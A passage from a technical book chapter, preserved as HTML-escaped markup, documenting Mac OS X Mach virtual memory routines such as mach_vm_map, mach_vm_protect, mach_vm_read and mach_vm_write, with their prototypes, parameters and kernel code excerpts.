/&gt;task_create_internal(task_t     parent_task,&lt;br /&gt;                     boolean_t  inherit_memory,&lt;br /&gt;                     task_t    *child_task)&lt;br /&gt;{&lt;br /&gt;    ...&lt;br /&gt;    if (inherit_memory)&lt;br /&gt;        new_task-&amp;gt;map = vm_map_fork(parent_task-&amp;gt;map);&lt;br /&gt;    else&lt;br /&gt;        new_task-&amp;gt;map = vm_map_create(pmap_create(0),&lt;br /&gt;                                      (vm_map_offset_t)(VM_MIN_ADDRESS),&lt;br /&gt;                                      (vm_map_offset_t)(VM_MAX_ADDRESS), TRUE);&lt;br /&gt;    ...&lt;br /&gt;}&lt;/pre&gt;&lt;/div&gt;&lt;br&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;tt&gt;vm_map_fork()&lt;/tt&gt; [&lt;tt&gt;osfmk/vm/vm_map.c&lt;/tt&gt;] first calls &lt;tt&gt;pmap_create()&lt;/tt&gt; [&lt;tt&gt;osfmk/ppc/pmap.c&lt;/tt&gt;] to create a new physical map and calls &lt;tt&gt;vm_map_create()&lt;/tt&gt; [&lt;tt&gt;osfmk/vm/vm_map.c&lt;/tt&gt;] to create an empty VM map with the newly  created physical map. The minimum and maximum offsets of the new VM map are taken from the parent's map. &lt;tt&gt;vm_map_fork()&lt;/tt&gt; then iterates over the VM map entries of the parent's address map, examining the inheritance property of each. These properties determine whether the child inherits any memory ranges from the parent, and if so, how (fully shared or copied). Barring inherited memory ranges, a newly created address space is otherwise empty. Before the first thread executes in a task, the task's address space must be populated appropriately. In the case of a typical program, several partiessuch as the kernel, the system library, and the dynamic link editordetermine what to map into the task's address space.&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;Let us now look at several Mach VM routines that are available to user programs. The following is a summary of the functionality provided by these routines:&lt;/p&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;p class="docList"&gt;Creating an arbitrary memory range in a task, including allocation of new memory&lt;/p&gt;&lt;/li&gt;&lt;LI&gt;&lt;p class="docList"&gt;Destroying an arbitrary memory range, including one that is unallocated, in a task&lt;/p&gt;&lt;/LI&gt;&lt;li&gt;&lt;p class="docList"&gt;Reading, writing, and copying a memory range&lt;/p&gt;&lt;/li&gt;&lt;LI&gt;&lt;p class="docList"&gt;Sharing a memory range&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docList"&gt;Setting protection, inheritance, and other attributes of a memory range&lt;/p&gt;&lt;/LI&gt;&lt;li&gt;&lt;p class="docList"&gt;Preventing the pages in a memory range from being evicted by wiring them in physical memory&lt;/P&gt;&lt;/li&gt;&lt;/UL&gt;&lt;br /&gt;&lt;p class="docText"&gt;Note that in this section, we discuss the new Mach VM API that was introduced in Mac OS X 10.4. The new API is essentially the same as the old API from the programmer's standpoint, with the following key differences.&lt;/P&gt;&lt;br /&gt;&lt;UL&gt;&lt;LI&gt;&lt;p class="docList"&gt;Routine names have the &lt;tt&gt;mach_&lt;/tt&gt; prefixfor example, &lt;tt&gt;vm_allocate()&lt;/tt&gt; becomes &lt;tt&gt;mach_vm_allocate()&lt;/tt&gt;.&lt;/P&gt;&lt;/li&gt;&lt;LI&gt;&lt;p class="docList"&gt;Data types used in routines have been updated to support both 64-bit and 32-bit tasks. Consequently, the new API can be used with any task.&lt;/P&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docList"&gt;The new and old APIs are exported by different MIG subsystems&lt;sup class="docFootnote"&gt;[13]&lt;/sup&gt;: &lt;tt&gt;mach_vm&lt;/tt&gt; and &lt;tt&gt;vm_map&lt;/tt&gt;, respectively. The corresponding header files are &lt;tt&gt;&amp;lt;mach/mach_vm.h&amp;gt;&lt;/tt&gt; and &lt;tt&gt;&amp;lt;mach/vm_map.h&amp;gt;&lt;/tt&gt;, respectively.&lt;/p&gt;&lt;blockquote&gt;&lt;p class="docFootnote"&gt;&lt;sup&gt;[13]&lt;/sup&gt; We will look at MIG subsystems in Chapter 9.&lt;/p&gt;&lt;/blockquote&gt;&lt;/LI&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4 id="title-IDA10LLD" class="docSection2Title"&gt;8.6.1. &lt;tt&gt;mach_vm_map()&lt;/tt&gt;&lt;/H4&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;tt&gt;mach_vm_map()&lt;/tt&gt; is the fundamental user-visible Mach routine for establishing a new range of virtual memory in a task. It allows fine-grained specification of the properties of the virtual memory being mapped, which accounts for its large number of parameters.&lt;/p&gt;&lt;br /&gt;&lt;div class="docText"&gt;&lt;pre&gt;kern_return_t&lt;br /&gt;&lt;span class="docEmphStrong"&gt;mach_vm_map&lt;/span&gt;(vm_map_t               target_task,&lt;br /&gt;            mach_vm_address_t     *address,&lt;br /&gt;            mach_vm_size_t         size,&lt;br /&gt;            mach_vm_offset_t       mask,&lt;br /&gt;            int                    flags,&lt;br /&gt;            mem_entry_name_port_t  object,&lt;br /&gt;            memory_object_offset_t offset,&lt;br /&gt;            boolean_t              copy,&lt;br /&gt;            vm_prot_t              cur_protection,&lt;br /&gt;            vm_prot_t              max_protection,&lt;br /&gt;            vm_inherit_t           inheritance);&lt;/pre&gt;&lt;/div&gt;&lt;br&gt;&lt;br /&gt;&lt;p class="docText"&gt;Given the importance of &lt;tt&gt;mach_vm_map()&lt;/tt&gt;, we will discuss each of its parameters. We will not do so for all Mach VM routines.&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;tt&gt;target_task&lt;/tt&gt; specifies the task whose address space will be used for mapping. A user program specifies the control port of the target task as this argument, and indeed, the type &lt;tt&gt;vm_map_t&lt;/tt&gt; is equivalent to &lt;tt&gt;mach_port_t&lt;/tt&gt; in user space. Mach's IPC mechanism translates a &lt;tt&gt;vm_map_t&lt;/tt&gt; to a pointer to the corresponding VM map structure in the kernel. We will discuss this translation in Section 9.6.2.&lt;/P&gt;&lt;br /&gt;&lt;p class="docText"&gt;When &lt;tt&gt;mach_vm_map()&lt;/tt&gt; returns successfully, it populates the &lt;tt&gt;address&lt;/tt&gt; pointer with the location of the newly mapped memory in the target task's virtual address space. This is when the &lt;tt&gt;VM_FLAGS_ANYWHERE&lt;/tt&gt; bit is set in the &lt;tt&gt;flags&lt;/tt&gt; argument. If this bit is not set, then &lt;tt&gt;address&lt;/tt&gt; contains a caller-specified virtual address for &lt;tt&gt;mach_vm_map()&lt;/tt&gt; to use. If the memory cannot be mapped at that address (typically because there is not enough free contiguous virtual memory beginning at that location), &lt;tt&gt;mach_vm_map()&lt;/tt&gt; will fail. If the user-specified address is not page-aligned, the kernel will &lt;span class="docEmphasis"&gt;truncate&lt;/span&gt; it.&lt;/P&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;tt&gt;size&lt;/tt&gt; specifies the amount of memory to be mapped in bytes. It should be an integral number of pages; otherwise, the kernel will &lt;span class="docEmphasis"&gt;round&lt;/span&gt; it &lt;span class="docEmphasis"&gt;up&lt;/span&gt; appropriately.&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;The &lt;tt&gt;mask&lt;/tt&gt; argument of &lt;tt&gt;mach_vm_map()&lt;/tt&gt; specifies an alignment restriction on the kernel-chosen starting address. A bit that is set in &lt;tt&gt;mask&lt;/tt&gt; will not be set in the addressthat is, it will be masked out. For example, if &lt;tt&gt;mask&lt;/tt&gt; is &lt;tt&gt;0x00FF_FFFF&lt;/tt&gt;, the kernel-chosen address will be aligned on a 16MB boundary (the lower 24 bits of the address will be zero). This feature of &lt;tt&gt;mach_vm_map()&lt;/tt&gt; can be used to emulate a virtual page size that is larger than the physical page size.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;/p&gt;&lt;p&gt;&lt;table cellspacing="0" width="90%" border="1" cellpadding="5"&gt;&lt;tr&gt;&lt;td&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2 class="docSidebarTitle"&gt;Caveat Regarding Offsets and Sizes&lt;/h2&gt;&lt;br /&gt;&lt;p class="docText"&gt;As we noted in Section 8.4, Mach VM API routines operate on page-aligned addresses and memory sizes that are integral multiples of the page size. In general, if a user-specified address is not the beginning of a page, the kernel truncates itthat is, the actual address used will be the beginning of the page in which the original address resides. Similarly, if a size-specifying argument contains a byte count that is not an integral number of pages, the kernel rounds the size up appropriately. The following macros are used for truncating and rounding offsets and sizes (note that rounding &lt;tt&gt;0xFFFF_FFFF&lt;/tt&gt; pages yields the value 1):&lt;/p&gt;&lt;br /&gt;&lt;div class="docText"&gt;&lt;pre&gt;&lt;div class="v1"&gt;[View full width]&lt;/div&gt;&lt;span class="docEmphStrong"&gt;// osfmk/mach/ppc/vm_param.h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;#define PPC_PGBYTES 4096&lt;br /&gt;#define PAGE_SIZE   PPC_PGBYTES&lt;br /&gt;#define PAGE_MASK   (PAGE_SIZE - 1)&lt;br /&gt;&lt;br /&gt;&lt;span class="docEmphStrong"&gt;// osfmk/vm/vm_map.h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;#define vm_map_trunc_page(x) ((vm_map_offset_t)(x) &amp;amp; ~(&lt;br /&gt;(signed)PAGE_MASK))&lt;br /&gt;#define vm_map_round_page(x) (((vm_map_offset_t)(x) + PAGE_MASK) &amp;amp; \&lt;br /&gt;                             ~((signed)PAGE_MASK))&lt;/pre&gt;&lt;/div&gt;&lt;br&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/P&gt;&lt;br&gt;&lt;br /&gt;&lt;p class="docText"&gt;The following are examples of individual flags (bits) that can be set in the &lt;tt&gt;flags&lt;/tt&gt; argument.&lt;/P&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;p class="docText"&gt;&lt;tt&gt;VM_FLAGS_FIXED&lt;/tt&gt; This is used to specify that the new VM region should be allocated at the caller-provided address, if possible. &lt;tt&gt;VM_FLAGS_FIXED&lt;/tt&gt; is defined to be the value &lt;tt&gt;0x0&lt;/tt&gt;. Therefore, logically OR'ing this does not change the value of &lt;tt&gt;flags&lt;/tt&gt;. It merely represents the absence of &lt;tt&gt;VM_FLAGS_ANYWHERE&lt;/tt&gt;.&lt;/p&gt;&lt;/LI&gt;&lt;li&gt;&lt;p class="docText"&gt;&lt;tt&gt;VM_FLAGS_ANYWHERE&lt;/tt&gt; This is used to specify that the new VM region can be allocated anywhere in the address space.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docText"&gt;&lt;tt&gt;VM_FLAGS_PURGABLE&lt;/tt&gt; This is used to specify that a &lt;span class="docEmphasis"&gt;purgable&lt;/span&gt; VM object should be created for the new VM region. A purgable object has the special property that it can be put into a nonvolatile state in which its pages become eligible for reclamation without being paged out to the backing store.&lt;/P&gt;&lt;/li&gt;&lt;LI&gt;&lt;p class="docText"&gt;&lt;tt&gt;VM_FLAGS_OVERWRITE&lt;/tt&gt; This, when used along with &lt;tt&gt;VM_FLAGS_FIXED&lt;/tt&gt;, is used to specify that the new VM region can replace existing VM regions if necessary.&lt;/p&gt;&lt;/LI&gt;&lt;/UL&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;tt&gt;object&lt;/tt&gt; is the critical argument of &lt;tt&gt;mach_vm_map()&lt;/tt&gt;. It must be a Mach port naming a memory object, which will provide backing for the range being mapped. As we saw earlier, a memory object represents a range of pages whose properties are controlled by a single pager. The kernel uses the memory object port to communicate with the pager. When &lt;tt&gt;mach_vm_map()&lt;/tt&gt; is used to map some portion of a task's address space with a memory object, the latter's pages are accessible by the task. Note that the virtual address at which such a page range appears in a given task is task-dependent. However, a page has a fixed offset within its memory objectthis offset is what a pager works with.&lt;/P&gt;&lt;br /&gt;&lt;p class="docText"&gt;The following are some examples of memory objects used with &lt;tt&gt;mach_vm_map()&lt;/tt&gt;.&lt;/P&gt;&lt;br /&gt;&lt;UL&gt;&lt;li&gt;&lt;p class="docList"&gt;When a Mach-O executable is loaded for execution by the &lt;tt&gt;execve()&lt;/tt&gt; system call, the file is mapped into the address space of the target process through the &lt;tt&gt;vm_map()&lt;/tt&gt; kernel function [&lt;tt&gt;osfmk/vm/vm_user.c&lt;/tt&gt;], with the &lt;tt&gt;object&lt;/tt&gt; argument referring to the vnode pager.&lt;/P&gt;&lt;/LI&gt;&lt;li&gt;&lt;p class="docList"&gt;If the &lt;tt&gt;object&lt;/tt&gt; argument is the null memory object (&lt;tt&gt;MEMORY_OBJECT_NULL&lt;/tt&gt;), or equivalently, &lt;tt&gt;MACH_PORT_NULL&lt;/tt&gt;, &lt;tt&gt;mach_vm_map()&lt;/tt&gt; uses the default pager, which provides initially zero-filled memory backed by the system's swap space. In this case, &lt;tt&gt;mach_vm_map()&lt;/tt&gt; is equivalent to &lt;tt&gt;mach_vm_allocate()&lt;/tt&gt; (see Section 8.6.3), albeit with more options for configuring the memory's properties.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docList"&gt;The &lt;tt&gt;object&lt;/tt&gt; argument can be a &lt;span class="docEmphasis"&gt;named entry&lt;/span&gt; handle. A task creates a named entry from a given mapped portion of its address space by calling &lt;tt&gt;mach_make_memory_entry_64()&lt;/tt&gt;, which returns a handle to the underlying VM object. The handle so obtained can be used as a shared memory object: The memory it represents can be mapped into another task's address space (or the same task's address space, for that matter). We will see an example of using &lt;tt&gt;mach_make_memory_entry_64()&lt;/tt&gt; in Section 8.7.5.&lt;/P&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div class="docNote"&gt;&lt;P&gt;&lt;br /&gt;&lt;/P&gt;&lt;p class="docText"&gt;There is also &lt;tt&gt;mach_make_memory_entry()&lt;/tt&gt;, which is a wrapper around &lt;tt&gt;mach_make_memory_entry_64()&lt;/tt&gt;. The latter is not 64-bit-&lt;span class="docEmphasis"&gt;only&lt;/span&gt;, as its name suggests.&lt;/p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;br&gt;&lt;br /&gt;&lt;p class="docText"&gt;The &lt;tt&gt;offset&lt;/tt&gt; argument specifies the beginning of the memory in the memory object. Along with &lt;tt&gt;size&lt;/tt&gt;, this argument specifies the range of the memory to be mapped in the target task.&lt;/P&gt;&lt;br /&gt;&lt;p class="docText"&gt;If &lt;tt&gt;copy&lt;/tt&gt; is &lt;tt&gt;TRUE&lt;/tt&gt;, the memory is copied (with copy-on-write optimization) from the memory object to the target task's virtual address space. This way, the target receives a private copy of the memory. Thereafter, any changes made by the task to that memory will &lt;span class="docEmphasis"&gt;not&lt;/span&gt; be sent to the pager. Conversely, the task will not see changes made by someone else. If &lt;tt&gt;copy&lt;/tt&gt; is &lt;tt&gt;FALSE&lt;/tt&gt;, the memory is directly mapped.&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;tt&gt;cur_protection&lt;/tt&gt; specifies the initial &lt;span class="docEmphasis"&gt;current protection&lt;/span&gt; for the memory. The following individual protection bits can be set in a Mach VM protection value: &lt;tt&gt;VM_PROT_READ&lt;/tt&gt;, &lt;tt&gt;VM_PROT_WRITE&lt;/tt&gt;, and &lt;tt&gt;VM_PROT_EXECUTE&lt;/tt&gt;. The values &lt;tt&gt;VM_PROT_ALL&lt;/tt&gt; and &lt;tt&gt;VM_PROT_NONE&lt;/tt&gt; represent all bits set (maximum access) and no bits set (all access disallowed), respectively. &lt;tt&gt;max_protection&lt;/tt&gt; specifies the &lt;span class="docEmphasis"&gt;maximum protection&lt;/span&gt; for the memory.&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;Thus, each mapped region has a current protection and a maximum protection. Once the memory is mapped, the kernel will not allow the current to exceed the maximum. Both the current and maximum protection attributes can be subsequently changed using &lt;tt&gt;mach_vm_protect()&lt;/tt&gt; (see Section 8.6.5), although note that the maximum protection can only be loweredthat is, made more restrictive.&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;tt&gt;inheritance&lt;/tt&gt; specifies the mapped memory's initial inheritance attribute, which determines how the memory is inherited by a child task during a &lt;tt&gt;fork()&lt;/tt&gt; operation. It can take the following values.&lt;/p&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;p class="docText"&gt;&lt;tt&gt;VM_INHERIT_NONE&lt;/tt&gt; The range is undefined (&amp;quot;empty&amp;quot;) in the child task.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docText"&gt;&lt;tt&gt;VM_INHERIT_SHARE&lt;/tt&gt; The range is shared between the parent and the child, allowing each to freely read from and write to the memory.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docText"&gt;&lt;tt&gt;VM_INHERIT_COPY&lt;/tt&gt; The range is copied (with copy-on-write and other, if any, optimizations) from the parent into the child.&lt;/P&gt;&lt;/li&gt;&lt;/UL&gt;&lt;br /&gt;&lt;p class="docText"&gt;The inheritance attribute can be later changed using &lt;tt&gt;mach_vm_inherit()&lt;/tt&gt; (see Section 8.6.6).&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4 id="title-IDAZA4YG" class="docSection2Title"&gt;8.6.2. &lt;tt&gt;mach_vm_remap()&lt;/tt&gt;&lt;/h4&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;tt&gt;mach_vm_remap()&lt;/tt&gt; takes already mapped memory in a source task and maps it in the target task's address space, with allowance for specifying the new mapping's properties (as in the case of &lt;tt&gt;mach_vm_map()&lt;/tt&gt;). You can achieve a similar effect by creating a named entry from a mapped range and then remapping it through &lt;tt&gt;mach_vm_map()&lt;/tt&gt;. In that sense, &lt;tt&gt;mach_vm_remap()&lt;/tt&gt; can be thought of as a &amp;quot;turnkey&amp;quot; routine for memory sharing. Note that the source and target tasks could be the same task.&lt;/P&gt;&lt;br /&gt;&lt;div class="docText"&gt;&lt;pre&gt;kern_return_t&lt;br /&gt;&lt;span class="docEmphStrong"&gt;mach_vm_remap&lt;/span&gt;(vm_map_t           target_task,&lt;br /&gt;              mach_vm_address_t *target_address,&lt;br /&gt;              mach_vm_size_t     size,&lt;br /&gt;              mach_vm_offset_t   mask,&lt;br /&gt;              boolean_t          anywhere,&lt;br /&gt;              vm_map_t           src_task,&lt;br /&gt;              mach_vm_address_t  src_address,&lt;br /&gt;              boolean_t          copy,&lt;br /&gt;              vm_prot_t         *cur_protection,&lt;br /&gt;              vm_prot_t         *max_protection,&lt;br /&gt;              vm_inherit_t       inheritance);&lt;/pre&gt;&lt;/div&gt;&lt;br&gt;&lt;br /&gt;&lt;p class="docText"&gt;The &lt;tt&gt;cur_protection&lt;/tt&gt; and &lt;tt&gt;max_protection&lt;/tt&gt; arguments return the protection attributes for the mapped region. If one or more subranges have differing protection attributes, the returned attributes are those of the range with the most restrictive protection.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4 id="title-IDAOC4YG" class="docSection2Title"&gt;8.6.3. &lt;tt&gt;mach_vm_allocate()&lt;/tt&gt;&lt;/h4&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;tt&gt;mach_vm_allocate()&lt;/tt&gt; allocates a region of virtual memory in the target task. As noted earlier, its effect is similar to calling &lt;tt&gt;mach_vm_map()&lt;/tt&gt; with a null memory object. It returns initially zero-filled, page-aligned memory. Like &lt;tt&gt;mach_vm_map()&lt;/tt&gt;, it allows the caller to provide a specific address at which to allocate.&lt;/P&gt;&lt;br /&gt;&lt;div class="docText"&gt;&lt;pre&gt;kern_return_t&lt;br /&gt;&lt;span class="docEmphStrong"&gt;mach_vm_allocate&lt;/span&gt;(vm_map_t          target_task,&lt;br /&gt;                 mach_vm_address_t address,&lt;br /&gt;                 mach_vm_size_t    size,&lt;br /&gt;                 int               flags);&lt;/pre&gt;&lt;/div&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;H4 id="title-IDAMD4YG" class="docSection2Title"&gt;8.6.4. &lt;tt&gt;mach_vm_deallocate()&lt;/tt&gt;&lt;/h4&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;tt&gt;mach_vm_deallocate()&lt;/tt&gt; invalidates the given range of virtual memory in the given address space.&lt;/P&gt;&lt;br /&gt;&lt;div class="docText"&gt;&lt;pre&gt;kern_return_t&lt;br /&gt;&lt;span class="docEmphStrong"&gt;mach_vm_deallocate&lt;/span&gt;(vm_map_t           target_task,&lt;br /&gt;                   mach_vm_address_t *address,&lt;br /&gt;                   mach_vm_size_t     size);&lt;/pre&gt;&lt;/div&gt;&lt;BR&gt;&lt;br /&gt;&lt;p class="docText"&gt;It is important to realize that as used here, the terms &lt;span class="docEmphasis"&gt;allocate&lt;/span&gt; and &lt;span class="docEmphasis"&gt;deallocate&lt;/span&gt; subtly differ from how they are used in the context of a typical memory allocator (such as &lt;tt&gt;malloc(3)&lt;/tt&gt;). A memory allocator usually &lt;span class="docEmphasis"&gt;tracks&lt;/span&gt; allocated memorywhen you free allocated memory, the allocator will check that you are not freeing memory you did not allocate, or that you are not double-freeing memory. In contrast, &lt;tt&gt;mach_vm_deallocate()&lt;/tt&gt; simply removes the given rangewhether currently mapped or notfrom the given address space.&lt;/P&gt;&lt;br /&gt;&lt;p class="docText"&gt;When a task receives out-of-line memory in an IPC message, it should use &lt;tt&gt;mach_vm_deallocate()&lt;/tt&gt; or &lt;tt&gt;vm_deallocate()&lt;/tt&gt; to free that memory when it is not needed. Several Mach routines dynamicallyand implicitlyallocate memory in the address space of the caller. Typical examples of such routines are those that populate variable-length arrays, such as &lt;tt&gt;process_set_tasks()&lt;/tt&gt; and &lt;tt&gt;task_threads()&lt;/tt&gt;.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;H4 id="title-IDAMF4YG" class="docSection2Title"&gt;8.6.5. &lt;tt&gt;mach_vm_protect()&lt;/tt&gt;&lt;/h4&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;tt&gt;mach_vm_protect()&lt;/tt&gt; sets the protection attribute for the given memory range in the given address space. The possible protection values are the same as those we saw in Section 8.6.1. If the &lt;tt&gt;set_maximum&lt;/tt&gt; Boolean argument is &lt;tt&gt;TRUE&lt;/tt&gt;, &lt;tt&gt;new_protection&lt;/tt&gt; specifies the maximum protection; otherwise, it specifies the current protection. If the new maximum protection is more restrictive than the current protection, the latter is lowered to match the new maximum.&lt;/P&gt;&lt;br /&gt;&lt;div class="docText"&gt;&lt;pre&gt;kern_return_t&lt;br /&gt;&lt;span class="docEmphStrong"&gt;mach_vm_protect&lt;/span&gt;(vm_map_t          target_task,&lt;br /&gt;                mach_vm_address_t address,&lt;br /&gt;                mach_vm_size_t    size,&lt;br /&gt;                boolean_t         set_maximum,&lt;br /&gt;                vm_prot_t         new_protection);&lt;/pre&gt;&lt;/div&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4 id="title-IDASG4YG" class="docSection2Title"&gt;8.6.6. &lt;tt&gt;mach_vm_inherit()&lt;/tt&gt;&lt;/h4&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;tt&gt;mach_vm_inherit()&lt;/tt&gt; sets the inheritance attribute for the given memory range in the given address space. The possible inheritance values are the same as those we saw in Section 8.6.1.&lt;/p&gt;&lt;br /&gt;&lt;div class="docText"&gt;&lt;pre&gt;kern_return_t&lt;br /&gt;&lt;span class="docEmphStrong"&gt;mach_vm_inherit&lt;/span&gt;(vm_map_t          target_task,&lt;br /&gt;                mach_vm_address_t address,&lt;br /&gt;                mach_vm_size_t    size,&lt;br /&gt;                vm_inherit_t      new_inheritance);&lt;/pre&gt;&lt;/div&gt;&lt;BR&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4 id="title-IDAVH4YG" class="docSection2Title"&gt;8.6.7. &lt;tt&gt;mach_vm_read()&lt;/tt&gt;&lt;/h4&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;tt&gt;mach_vm_read()&lt;/tt&gt; TRansfers data from the given memory range in the given address space to &lt;span class="docEmphasis"&gt;dynamically allocated memory&lt;/span&gt; in the calling task. In other words, unlike most Mach VM API routines, &lt;tt&gt;mach_vm_read()&lt;/tt&gt; implicitly uses the current address space as its destination. The source memory region must be mapped in the source address space. As with memory allocated dynamically in other contexts, it is the caller's responsibility to invalidate it when appropriate.&lt;/p&gt;&lt;br /&gt;&lt;div class="docText"&gt;&lt;pre&gt;kern_return_t&lt;br /&gt;&lt;span class="docEmphStrong"&gt;mach_vm_read&lt;/span&gt;(vm_map_t                target_task,&lt;br /&gt;             mach_vm_address_t       address,&lt;br /&gt;             mach_vm_size_t          size,&lt;br /&gt;             vm_offset_t            *data,&lt;br /&gt;             mach_msg_type_number_t *data_count);&lt;/pre&gt;&lt;/div&gt;&lt;br&gt;&lt;br /&gt;&lt;p class="docText"&gt;The &lt;tt&gt;mach_vm_read_overwrite()&lt;/tt&gt; variant reads into a caller-specified buffer. Yet another variant&lt;tt&gt;mach_vm_read_list()&lt;/tt&gt;reads a list of memory ranges from the given map. The list of ranges is an array of &lt;tt&gt;mach_vm_read_entry&lt;/tt&gt; structures [&lt;tt&gt;&amp;lt;mach/vm_region.h&amp;gt;&lt;/tt&gt;]. The maximum size of this array is &lt;tt&gt;VM_MAP_ENTRY_MAX&lt;/tt&gt; (256). Note that for each source address, memory is copied to the same address in the calling task.&lt;/p&gt;&lt;br /&gt;&lt;div class="docText"&gt;&lt;pre&gt;kern_return_t&lt;br /&gt;&lt;span class="docEmphStrong"&gt;mach_vm_read_overwrite&lt;/span&gt;(vm_map_t           target_task,&lt;br /&gt;                       mach_vm_address_t  address,&lt;br /&gt;                       mach_vm_size_t     size,&lt;br /&gt;                       mach_vm_address_t  data,&lt;br /&gt;                       mach_vm_size_t    *out_size);&lt;br /&gt;&lt;br /&gt;kern_return_t&lt;br /&gt;&lt;span class="docEmphStrong"&gt;mach_vm_read_list&lt;/span&gt;(vm_map_t             target_task,&lt;br /&gt;                  mach_vm_read_entry_t data_list,&lt;br /&gt;                  natural_t            data_count);&lt;br /&gt;&lt;br /&gt;struct mach_vm_read_entry {&lt;br /&gt;    mach_vm_address_t address;&lt;br /&gt;    mach_vm_size_t    size;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;typedef struct mach_vm_read_entry mach_vm_read_entry_t[VM_MAP_ENTRY_MAX];&lt;/pre&gt;&lt;/div&gt;&lt;BR&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;H4 id="title-IDAHK4YG" class="docSection2Title"&gt;8.6.8. &lt;tt&gt;mach_vm_write()&lt;/tt&gt;&lt;/h4&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;tt&gt;mach_vm_write()&lt;/tt&gt; copies data from a caller-specified buffer to the given memory region in the target address space. The destination memory range must already be allocated and writable from the caller's standpointin that sense, this is more precisely an &lt;span class="docEmphasis"&gt;overwrite&lt;/span&gt; call.&lt;/p&gt;&lt;br /&gt;&lt;div class="docText"&gt;&lt;pre&gt;kern_return_t&lt;br /&gt;&lt;span class="docEmphStrong"&gt;mach_vm_write&lt;/span&gt;(vm_map_t               target_task,&lt;br /&gt;              mach_vm_address_t      address,&lt;br /&gt;              vm_offset_t            data,&lt;br /&gt;              mach_msg_type_number_t data_count);&lt;/pre&gt;&lt;/div&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4 id="title-IDA1L4YG" class="docSection2Title"&gt;8.6.9. &lt;tt&gt;mach_vm_copy()&lt;/tt&gt;&lt;/h4&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;tt&gt;mach_vm_copy()&lt;/tt&gt; copies one memory region to another within the same task. The source and destination regions must both already be allocated. Their protection attributes must permit reading and writing, respectively. Moreover, the two regions can overlap. &lt;tt&gt;mach_vm_copy()&lt;/tt&gt; has the same effect as a &lt;tt&gt;mach_vm_read()&lt;/tt&gt; followed by a &lt;tt&gt;mach_vm_write()&lt;/tt&gt;.&lt;/p&gt;&lt;br /&gt;&lt;div class="docText"&gt;&lt;pre&gt;kern_return_t&lt;br /&gt;&lt;span class="docEmphStrong"&gt;mach_vm_copy&lt;/span&gt;(vm_map_t          target_task,&lt;br /&gt;             mach_vm_address_t source_address,&lt;br /&gt;             mach_vm_size_t    count,&lt;br /&gt;             mach_vm_address_t dest_address);&lt;/pre&gt;&lt;/div&gt;&lt;br&gt;&lt;br /&gt;&lt;p&gt;&lt;table cellspacing="0" width="90%" border="1" cellpadding="5"&gt;&lt;tr&gt;&lt;td&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2 class="docSidebarTitle"&gt;Comparing Mach VM Routines with Mach IPC Routines for Memory Transfer&lt;/h2&gt;&lt;br /&gt;&lt;p class="docText"&gt;Since large amounts of datatheoretically, entire address spacescan be transferred through Mach IPC, it is interesting to note the difference between Mach VM routines and Mach IPC messaging when sending data from one task to another. In the case of a Mach VM routine such as &lt;tt&gt;mach_vm_copy()&lt;/tt&gt; or &lt;tt&gt;mach_vm_write()&lt;/tt&gt;, the calling task must have send rights to the control port of the target task. However, the target task does not have to participate in the transferit can be &lt;span class="docEmphasis"&gt;passive&lt;/span&gt;. In fact, it could even be suspended. In the case of Mach IPC, the sender must have send rights to a port that the receiving task has receive rights to. Additionally, the receiving task must actively receive the message. Moreover, Mach VM routines allow memory to be copied at a specific destination address in the target address space.&lt;/P&gt;&lt;br /&gt;&lt;/td&gt;&lt;/TR&gt;&lt;/table&gt;&lt;/p&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4 id="title-IDARN4YG" class="docSection2Title"&gt;8.6.10. 